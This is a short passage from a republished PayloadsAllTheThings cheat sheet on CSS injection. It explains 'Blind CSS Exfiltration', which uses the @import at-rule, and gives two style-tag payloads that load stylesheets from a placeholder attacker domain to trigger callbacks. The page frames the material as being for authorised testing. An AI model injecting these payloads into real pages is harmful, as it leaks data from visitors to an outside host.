CSS Injection · passage 4 of 9

CSS Import at-rule

1 code block · CSS Injection/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

This technique is known as **Blind CSS Exfiltration**. It relies on importing external stylesheets to trigger callbacks.

<style>@import url(http://[ATTACKER.DOMAIN.TLD]/staging?len=32);</style>
<style>@import'//[ATTACKER.DOMAIN.TLD]'</style>

Frames do not always need to be reloaded to reevaluate CSS. The `@import` rule allows for latency; the browser will process the import and apply the new styles.

Every one of the 9 is a mark on the map. Named now: 1 to 9, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.